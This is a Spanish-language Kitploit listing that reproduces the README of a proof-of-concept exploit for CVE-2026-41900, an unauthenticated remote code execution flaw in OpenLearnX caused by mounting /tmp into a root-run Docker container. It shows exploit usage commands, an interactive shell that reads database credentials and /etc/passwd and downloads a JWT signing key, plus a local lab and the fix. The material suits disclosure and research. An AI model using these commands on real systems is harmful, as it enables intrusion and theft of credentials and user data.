Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41900-POC — Prueba de concepto del exploit para CVE-2026-41900, una ejecución remota de código no autenticada en OpenLearnX mediante el montaje de volúmenes de contenedor, que permite la divulgación de /tmp y la ejecución de comandos. | Kitploit
Herramientas/GitHubGitHub/christbowel/cve-2026-41900-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingEscape de Contenedores
GitHubchristbowel/cve-2026-41900-poc

CVE-2026-41900-POC

Prueba de concepto del exploit para CVE-2026-41900, una ejecución remota de código no autenticada en OpenLearnX mediante el montaje de volúmenes de contenedor, que permite la divulgación de /tmp y la ejecución de comandos.

Ver Repositorio
2hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

OpenLearnX-RCE

hacking

RCE no autenticado en OpenLearnX mediante montaje de volumen de contenedor

Descubrimiento basado en diff → Parche silencioso → Escape de sandbox → Divulgación completa de /tmp

PropiedadValor
NombreOpenLearnX-RCE
CVECVE-2026-41900
GHSAGHSA-8h25-q488-4hxw
TipoDivulgación de información no autenticada / RCE
AfectadoOpenLearnX < commit 14765d7
CorregidoCommit 14765d7 (real_compiler_service)
CVSS8.6 (Alto)
CWECWE-538, CWE-377, CWE-250

Cómo lo encontré

OSDC (mi pipeline automatizado de inteligencia de parches) marcó un aviso silencioso en OpenLearnX — GHSA-8h25-q488-4hxw publicado sin ningún detalle técnico. Extraje el commit de corrección (14765d7) y lo comparé con su padre (d19c4e4).

El diff contó toda la historia: execute_in_container() en backend/routes/coding.py fue desmantelado y reemplazado por un real_compiler_service endurecido. El código antiguo escribía el código proporcionado por el usuario en un archivo temporal y luego montaba os.path.dirname(temp_file) — que se resuelve a /tmp — en un contenedor Docker hermano como volumen de solo lectura. Sin user=, sin cap_drop, sin security_opt. Root por defecto.

El detalle clave: el blueprint compiler en /api/compiler/execute no tiene decorador de autenticación. Cualquier solicitud no autenticada puede desencadenar la ejecución de código a través de la configuración vulnerable del contenedor.

Aislé el código previo al parche en un laboratorio local, confirmé todos los vectores y escribí este PoC.


Resumen de la vulnerabilidad

root@kitploit:~
POST /api/compiler/execute  (sin autenticación)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ se resuelve a /tmp → TODO /tmp montado en el contenedor
     │
     ├─ Sin user=        → se ejecuta como root (UID 0)
     ├─ Sin cap_drop     → capacidades Docker por defecto
     ├─ Sin security_opt → perfil seccomp por defecto
     │
     └─ El atacante lee: secretos, credenciales, claves JWT, envíos de otros usuarios

Gadgets

GadgetSeveridadCWEDescripción
listingALTOCWE-538Listado de directorios de /tmp mediante montaje de volumen
secretsCRÍTICOCWE-538Leer credenciales, claves, configuraciones de /tmp
submissionsALTOCWE-538Leer envíos de código de otros estudiantes
rootcheckMEDIOCWE-250Confirmar ejecución como UID 0 (root)
capsMEDIOCWE-250Volcar capacidades Linux efectivas

Instalación

root@kitploit:~
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Sin dependencias — solo stdlib
chmod +x exploit.py

Uso

root@kitploit:~
# Comprobar si un objetivo es vulnerable
python3 exploit.py --check http://target:5000

# Ejecutar todos los gadgets + generar JSON de evidencia
python3 exploit.py --exploit http://target:5000

# Ejecutar un solo comando
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# Entrar en shell interactivo
python3 exploit.py --shell http://target:5000

# Ejecutar gadgets específicos
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

Comandos de shell

Una vez dentro de --shell, obtienes un shell pseudo-interactivo. Cada comando genera un nuevo contenedor efímero.

root@kitploit:~
root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] Descargado jwt_signing_key.pem (235B)

root@container:/app# exit

Configuración del laboratorio

Para reproducir localmente:

root@kitploit:~
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

El laboratorio despliega una aplicación Flask contenerizada que reproduce el execute_in_container() previo al parche con:

  • Socket Docker montado (patrón de contenedor hermano)
  • /tmp compartido entre el host y el contenedor de la aplicación
  • Archivos semilla que simulan secretos y envíos de estudiantes

Análisis de la corrección

El commit 14765d7 reemplazó execute_in_container() con real_compiler_service que aplica:

root@kitploit:~
container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # tmpdir aislado por ejecución
    cap_drop=["ALL"],                                           # eliminar todas las capacidades
    security_opt=["no-new-privileges:true"],                    # prevenir escalada de privilegios
    user="65534:65534",                                         # nobody, no root
    ...
)

Cronología

FechaEvento
2026-04OSDC marca el aviso silencioso GHSA-8h25-q488-4hxw
2026-04Análisis de diff del commit 14765d7 vs padre d19c4e4
2026-05Reproducción en laboratorio y desarrollo del PoC
2026-05-06PoC completo confirmado — los 5 vectores validados

Aviso legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsala solo contra sistemas que poseas o para los que tengas permiso escrito explícito. El acceso no autorizado a sistemas informáticos es ilegal.


Christbowel · christbowel.com · Balgo Security Team

Descargar herramienta